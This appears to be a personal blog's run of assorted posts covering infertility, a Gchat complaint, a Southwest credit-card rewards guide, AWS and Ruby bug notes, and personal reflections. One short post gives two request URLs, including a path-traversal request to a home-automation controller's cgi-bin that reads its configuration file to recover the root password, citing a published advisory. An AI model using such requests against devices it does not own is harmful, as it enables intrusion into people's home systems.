What inferfility feels like

For me, it was a lot of bitterness.

I would watch the news and they would have a story about women who had their baby in a bathroom and left it there to die. It made me so, so angry.

But it doesn’t even have to be something so extreme. I hated going to the mall because you’ll always see these dipshit teenagers, who can’t keep their pants up, dragging around two, three strollers of kids.

I am sorry if I sound mean, insensitive, and judgemental. It’s the bitterness talking.

I guess infertility is not the worse thing in the world. But there is something very distressing knowing that you can’t have something that comes so easy for everyone else.

Gchat vs Hangout

I just found out that I can revert back to gchat, instead of using the new hangout. The new hangout sucks. Here is the comment I left for them in their feedback form.

 

This new Hangout replacement for Gchat is super bogus. Here is why

1) Why does hangout need to be in a popup when I am making a phone call? I love the seamlessness of the gchat and phone window.

2) In gchat phone calls, when you press a number on the dialpad, it makes a regular phone dialpad sound. In the hangout popup, pressing a button on the dialpad barely makes a noise. This is super hard to use when you are navigating complicated customer service menus. Please bring back the sound!

3) After I disconnect from a hangout phone call, there is no “redial” option. This is very necessary as hangout calls often gets dropped…

4) Hangout is not properly displaying the availability statuses of my contacts. I know of two contacts who are online, but does not turn green.

5) It is very difficult to tell who is online in Hangout. That little green bar on top of the chat window is hard to see.

Thanks!

How to get a Southwest Companion Pass

Getting a Southwest Companion Pass is an awesome bonus if you need to travel around the US. The Southwest Companion Pass allows you to fly one companion for free, whenever you fly Southwest.

This is an amazing deal, and I think a lot of my friends could benefit greatly from this deal, so I am going to detail how to get a Southwest Companion Pass here.

First off

I’ve been known to do a lot of shady things, but I promise you this is not shady. I’ve been a Southwest Companion Pass holder for about 2 years now. It’s a real product offered by Southwest, not some sort of hack. There are also tons of people who have it. If you are learning about this for the first time, you are late to the party!

What you need

Let me start off by telling you exactly what you need so you understand the commitment you are making

  1. You have to signup for 2 Southwest Credit Cards (administered by Chase)
  2. You have to spend $10K dollars on those credit cards
  3. Each card has a $99 a year fee. So you are spending $200 in fees.

Before you get lightheaded and break out in sweats, give me a chance to explain why there is nothing risky or scary about this and how it’s pretty easy to do.

The Risks

It is commonly believed that having a lot of credit cards, and using credit cards is bad you for. This is simply not true.

I myself have 20+ credit cards, yet my credit score is ~800, which means my credit rating is probably better than 90% of Americans.

Credit card are only bad when you use them and you don’t pay them. So don’t do that.

But don’t take my word for it, do a quick google search and learn: http://bit.ly/1DYadiL

How the math works

Each Southwest Credit Card gives you 50K Southwest Rapid Rewards bonus points when you spend $2K in 3 months. To get a Companion Pass, you need to earn 110K Southwest Rapid Rewards points in the same calendar year. For every dollar you spend on your Southwest Credit Card, you get 1 Southwest Rapid Reward point.

Spend $2K in 3 months = 2K points
Get 50K bonus = 50K points
Total =  52k points

Now double it. If you get TWO Southwest Credit Cards, you get

52K x 2 = 104K

That means you still have to get 6K points (spend $6K) to get to 110K. The good thing is, you have all year to do that. Most people can spend $6K within 2-3 months.

How To

To ensure that this process goes smoothly, there are a couple of recommended steps that you SHOULD MUST follow.

  1. Open a Southwest Rapid Rewards account and get a Rapid Rewards number if you don’t already have one.
  2. Apply for TWO Southwest Rapid Rewards card AND use the same Rapid Rewards number from Step 1 for BOTH cards.
  3. Spend $2K on each card within 3 months. DO NOT screw this up.
  4. Spend $6K on either card before the end of the year.

The Two Credit Cards

I been talking a lot about “two credit cards”. Let me actually link to them now.

NOTE: You HAVE to use these links. These links are promotional links that gets you the 50K bonus. If you don’t use them, you won’t get the 50K bonus.

DOUBLE NOTE: These links may expire, so be sure to double check it.

Card #1
Southwest Chase Plus

Card #2
Southwest Chase Premier

Important Notes

  1. Apply for BOTH cards in one sitting. This reduces the number of credit inquiry on your credit report. It will also ensures that you get both cards. It would be a nightmare if you got one card today, and tomorrow they no longer offer the 50K bonus. Then you have no way to get the second 50K bonus.
  2. Do not forget to spend $2K on each card within the first 3 months. If you forget, you won’t get your bonus and that’s going to be a nightmare.
  3. After you get your 110K points, cancel both credit cards. You don’t want to keep paying the fees do you?

Is all this worth it?

F*ck Yes.

Southwest Rapid Rewards is amazingly easy to spend, and is a GREAT value.

At the end of this whole process, you will have 110K Rapid Rewards points. If you want to see how many trips you can get out of that, just go to the Southwest website and test it out. Choose “points” to see how many points it will cost.

On average, I would say 110K points is worth at least $2K in southwest flights.

But the greatest thing about Southwest Rapid Rewards point is that they make booking VERY easy. You can cancel your booking at any time and get a full refund of your points. You can also easily change flights right on their website without hassle. This is so much easier than using cash and buying non-refundable tickets. You honestly don’t understand how awesome this is until you used it a couple of times, so trust me.

Now remember, you now also have a Companion Pass, which means not only do you get great flexibility in picking FREE flights, you also get to bring someone with you for free with ZERO hassle. So all the benefits you received here are basically doubled (so $4K in southwest flights). The only caveat is that you only get to choose one companion for the lifetime of your pass, so pick wisely!

Also, if you earn the Companion Pass in 2015, you to keep it until 2016. So that’s a lot of traveling that can be had!

But Vinh, $10K is a lot to spend

Yes, but you also have a lot of time to spend it. You should get in to the habit of paying for EVERYTHING with your credit card — just remember to pay off your balance when you get your statement. Using cash is so lame… When you use credit cards, you earn rewards, all cash can give you is a disease.

Conclusion

Southwest is a great airline for traveling around the United States. They have a lot of flights to many destinations around the country. You just have to make sure you pick the right airport if you want nonstop flights. For example, in the bay area, OAK is a better airport for Southwest than SFO.

Anyways, that’s all there is to it. It is very easy to do and the benefits are amazing. So don’t be a sucker and continue paying cash for air flights!

how to recover from a bad aws volume

Sometimes, for no reason at all, an AWS volume will stop responding.
To fix this you can

1) create an image of that volume
2) create a volume from that image
3) attach the new image to the original instance

I discovered this today while trying to fix an instance that stopped responding. Wasted a ton of time trying to transfer files to a new instance. Decided at the last minute to just re-image and surprisingly it worked.

how to hack the veralite to get ssh root password

Home automation hardware are some of the worst products security wise.
Today I wanted to log into my veralite, but I forgot the root password.
In no more than 30 minutes, I found a way to gain root.

Source: https://www3.trustwave.com/spiderlabs/advisories/TWSL2013-019.txt

First go here
http://A.B.C.D/cgi-bin/cmh/store_file.sh?store_file=test

Then go here
http://A.B.C.D/cgi-bin/cmh/get_file.sh?filename=../../../../../etc/cmh/cmh.conf

Then cry, because I just realized my home devices are open to anyone…

Goodbye 2014 – the year of falling behind

While my life is always hovering at great, 2014 has been on the lower spectrum of greatness.

It’s best illustrated with this experience I had in 2014.

So on my 31st, I was driving around to do some errands. I was feeling pretty good. I was thinking to myself, I have great friends, family, and fortune. Nothing to complain about.

Just at that moment, five Ferraris past me up on the freeway.

While I don’t think that expensive cars are an adequate barometer of success, that experience perfectly illustrates how I’ve felt all year — falling behind.

Many of my peers are now doctors, lawyers, and internet millionaires. Others are on their second kid, building that perfect nuclear family.

Me. I just want 2015 to be the year for my success.

The Roosevelts

I am watching this new Roosevelt documentary on PBS and I am blown away by how great the Roosevelts were, especially Eleanor.

In the 1930s, a time before civil rights or any sort of real social awareness, she was working for civil rights, women’s rights, economic equality, international aid, and even perhaps a hint at acceptance of homosexuality.

I am also blown away at how Obama’s presidency mimics FDR’s presidency, right down to the kind of insults they hurled at him. Apparently the bankers refused to call FDR “president” and referred to him as the man in the white house.

It’s also interesting that they used the Supreme Court to obstruct FDR. We have the exact same problems today.

ISIS is to Obama as Hitler’s Germany is to FDR.

Oh yea, but they were terrible parents.

Bill and Melinda Gates commencement speech at Stanford

http://news.stanford.edu/news/2014/june/gates-commencement-remarks-061514.html

You don’t even have to leave your computer to see that people have no idea what poverty and suffering looks like outside of our borders.

Go to a liberal new source like: reddit, nytimes, npr, etc.. and read the comment section of stories about the new influx of illegal minors crossing the border.

You will see that the top comments are something like “these people are terrible parents”.

That kind of sentiment shows a complete lack of understanding about the degree of suffering people are facing.

The desperation that forces parents to send their children to make a perilous trek across the desert should not be perceived as bad parenting, but as a horrific reminder that those people’s normal lives are WORSE.

Like Melinda Gates said, “there is no difference at all in what we want for our children”.

I did not arrive at this understanding because I possess some sort of superior capacity for empathy. In fact, I am usually chided for lacking empathy.

The only reason I understand this dilemma so well is because I know many Vietnamese parents who’ve made the same choices.

They put their entire family, fortunes, hopes and dreams in small boats and headed out to sea risking starvation, drowning, and piracy. But at that time, it was the “better” alternative.

The power of prayers

One thing that I miss about being religious is having the option to pray.

For non-religious people, the act of praying may look awfully weird. Like a child writing a Christmas wish list to Santa Claus.

But that’s not how I experienced prayers. It was more like having a quiet moment to sit down and talk to a close friend and counselor who is a great listener.

And the power of pray did not come from the hope that God would use his power to make your problems go away. I never believed that God would answer my prayers by letting me win the lottery, or strike down my enemies. But instead, the power of prayers came from the peace of mind that you get after praying.

Religious people have a great imagery for this: Footprints in the Sand.

For example, when something sad happens in my life, like when a family member get sick, I used prayers to deal with the sadness and powerlessness of the situation. Or when something exciting and unpredictable happens like when I applied for college. I relied on prayers to assure myself that everything is going to be ok and it will all work out.

I understand that it’s all psychological and there are many alternatives such as therapy, drugs, or even yoga…. and that’s fine. But prayers work and it’s free.

Nowadays, I don’t have that option in my toolset.

When shitty things happen, I just stare blankly into space. I don’t know who to turn to, or what to think. The uncertainty of life is just that: uncertain.

TypeError: can’t convert ActiveSupport::Duration into time interval

Timeout::timeout(6.hours){}
TypeError: can't convert ActiveSupport::Duration into time interval

One of those stupid bugs that shows up in one environment, but not the other.
Both environments are running the exact same version of Ruby (1.8.7), Rails (2.3.4), and ActiveSupport (2.3.4)

The confusing thing is, on the environment where that works, this does NOT:

sleep(6.hours)

Which is the correct behavior. But why would Timeout::timeout work??

Looking through the ActiveSupport source yielded nothing of value.

I know the solution is:

Timeout::timeout(6.hours.to_i){}

But I just want to understand why.

UPDATE: I was wrong. I was using Ruby 1.8.7 vs Ruby 1.8.7 EE

In Ruby 1.8.7 EE, The Timeout::timeout method is different.

It does not raise from a failed sleep

      y = Thread.start {
        sleep sec
        x.raise exception, "execution expired" if x.alive?
      }

Like Ruby 1.8.7 does

    y = Thread.start {
      begin
        sleep sec
      rescue => e
        x.raise e
      else
        x.raise exception, "execution expired" if x.alive?
      end
    }